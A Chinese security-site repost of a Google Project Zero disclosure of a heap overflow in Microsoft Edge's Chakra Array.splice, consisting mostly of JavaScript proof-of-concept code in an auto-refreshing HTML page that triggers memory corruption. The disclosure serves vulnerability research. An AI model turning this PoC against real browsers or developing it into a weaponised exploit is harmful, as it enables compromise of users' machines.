首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Microsoft Edge - 'Array.splice' Heap Overflow
来源:Google Security Research 作者:Google 发布时间:2016-11-21  
<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=934
 
There is a heap overflow in Array.splice in Chakra.
 
When an array is spliced, and overflow check is performed, but ArraySpeciesCreate, which can execute code and alter the array is called after this. This can allow an Array with boundaries that cause integer overflows to be spliced, leading to heap overflows in several situations.
 
A minimal PoC is as follows and a full PoC is attached.
 
var a = [];
 
class dummy{}
 
a.length = 200000;
a.fill(7, 10000, 10200);
 
var o = {};
 
Object.defineProperty(o, 'constructor', {
    get: function() {
      a.length = 0xfffffffe;
      var k = [];
      k.fill.call(a, 7.7, 0xfffff000, 0xfffffffe);
      return dummy;
    }
  });
 
a.__proto__ = o;
 
var q = [];
q.length = 500;
q.fill(7.7);
 
var j = [];
 
a.length = 0xfffffffe - 500;
 
j.splice.call(a, 0, ...q);
a[0xfffff1ec - 1] = 10;
 
This PoC is a bit unreliable, it may need to be refreshed a few times to crash.
-->
 
<html>
<head>
<meta http-equiv="refresh" content="1">
</head>
 
<body>
<script>
 
 
var a = [];
 
class dummy{}
 
 
a.length = 200000;
a.fill(7, 10000, 10200);
 
var o = {};
  Object.defineProperty(o, 'constructor', {
    get: function() {
      a.length = 0xfffffffe;
      var k = [];
      k.fill.call(a, 7.7, 0xfffff000, 0xfffffffe);
      return dummy;
    }
  });
 
a.__proto__ = o;
 
var q = [];
q.length = 500;
q.fill(7.7);
 
var j = [];
 
a.length = 0xfffffffe - 500;
 
 
j.splice.call(a, 0, ...q);
a[0xfffff1ec - 1] = 10;
 
 
</script>
</body>
</html>
 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Microsoft Edge - 'Array.revers
·Microsoft Internet Explorer 11
·Microsoft Edge - 'Array.filter
·Microsoft Edge CTextExtractor:
·Microsoft Edge - 'FillFromProt
·Microsoft Edge Scripting Engin
·Moxa SoftCMS 1.5 - Denial of S
·Putty 0.67 Cleartext Password
·FTPShell Client 5.24 - 'PWD' R
·Dlink DIR Routers Unauthentica
·Nagios 4.2.2 - Privilege Escal
·ntpd 4.2.7.p22 / 4.3.0 Denial
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved